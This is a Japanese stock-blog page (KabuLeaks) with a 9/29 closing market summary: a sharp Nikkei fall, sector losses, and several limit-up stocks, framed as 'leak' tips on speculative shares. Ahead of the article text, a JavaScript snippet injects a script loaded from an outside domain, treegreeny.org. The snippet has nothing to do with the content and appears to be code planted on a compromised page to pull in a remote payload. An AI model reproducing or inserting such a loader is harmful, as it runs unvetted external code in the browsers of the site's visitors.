;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【9/29 大引け】|【KabuLeaks 〜株リークス〜】
仕手株

仕手株・ファンド介入リーク情報【9/29 大引け】

本日の日経平均株価は714円安の大幅続落。後場も引き続き投資家の不安心理が高まり、換金売りが加速。取引時間中としては今年1月19日以来約8ヶ月半ぶりに節目の17,000円割れとなった。また、今年4番目の下げ幅を記録した。業種別では、全33業種がマイナス、特に海運業、鉄鋼、医薬品は6%を超える下落となったほか、卸売業、空運業、情報・通信業、精密機器が5%超の下落となった。

個別では、環境性能に優れる立体型の自動車用エンブレムやプラスチック筐体などの新しい製造プロセスを開発したとの一部報道を材料視された【6336】石井表記や「NOIRシーケンス・システム』を確立」と報じられた【2397】DNAチップ研究所がストップ高。また、【6731】ピクセラ、【2342】トランスジェニックなども後場一時ストップ高まで買われ人気を集めた。

中国経済や米利上げを巡る不透明感に加え、第一中央汽船の経営破綻、神戸製鋼所の下方修正やスイスの資源大手グランコアの急落などネガティブ材料が相次ぎ投資家心理は悪化。また、今週は日銀短観、週末の米雇用統計を控え一段と買いづらい状況だ。日銀の緩和への期待もあるが過度の期待は要注意。しばらく不安定な相場は継続しそうだ。